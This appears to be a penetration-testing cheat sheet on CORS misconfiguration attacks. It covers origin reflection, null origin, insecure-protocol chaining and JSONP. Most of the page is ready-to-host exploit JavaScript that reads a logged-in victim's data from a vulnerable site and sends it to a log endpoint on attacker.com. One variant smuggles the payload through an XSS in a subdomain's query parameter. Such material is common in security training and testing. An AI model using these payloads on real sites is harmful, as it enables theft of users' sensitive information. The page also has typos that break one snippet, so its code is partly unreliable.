icon

CORS (Cross-Origin Resource Sharing) Attack

Last modified: 2024-09-25

CORS is a mechanism that allows restricted resources on a web page to be requested from another domain outside the domain from which the first resource was served. The CORS Attack is the attacking methodology that abuses this mechanism.

Bypass Restriction

Assume that https://example.com restricts the access by CORS. We try to set domains that are allowed to Origin header.

Origin: https://example.com
Origin: http://localhost
Origin: https://api.example.com

Origin Reflection

1. Change Origin Value of Request Header

Origin: https://attacker.com
Origin: https://vulnerable.com.attacker.com

2. Check if the Response Allowing Cross-Origin

It's reflected the previous reqeust in the response header, you can exploit it.

Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Origin: https://vulnerable.com.attacker.com
Access-Control-Allow-Credentials: true

3. Exploit with Your Malicious Web Page

For example, it's hosted as "https://attacker.com/exploit" or "https://vulnerable.com.attacker.com/exploit".
Add the JavaScript code in the web page.

It shows the users' sensitive information of the target website in your server's log.

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('GET', 'https://vulnerable.com/details', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location = '/log?key=' + this.responseText;
    }
</script>

Null origin

1. Send Request with Origin: null

Origin: null

2. Check if the Response Allowing Cross-Origin

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

3. Add the iframe to Your Malicious Web Page

For example, it's hosted as "https://attacker.com/exploit".

<iframe
    sandbox="allow-scripts allow-top-navigation allow-forms"
    srcdoc="<script>
        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open('GET', 'https://vulnerable.com/details', true);
        req.withCredentials = true;
        req.send();
        
        function reqListener() {
            location = 'https://attacker.com/log?key=' + encodeURIComponent(this.responseText);
        }
        </script>"
></iframe>

Insecure Protocol

1. Send Request with Abbused Origin

Origin: http://subdomain.vulnerable.com

2. Check if the Response Allowing Cross-Origin

Access-Control-Allow-Origin: http://subdomain.vulnerable.com
Access-Control-Allow-Credentials: true

3. Add the JavaScript Code to Your Malicious Web Page

It's hosted as "https://attacker.com/exploit"

<script>
    document.location="http://subdomain.vulnerable.com/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.com/details',true); req.withCredentials = true;req.send();function reqListener() {location='https://attacker.com/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

JSONP (Json with Padding)

<script>
	var userinfo = function (data) {
		alert(JSON.stringify(data));
	}
</script>
<script src="https://vulnerable.com/example.php?value=userinfo" type="text/javascriipt"></script>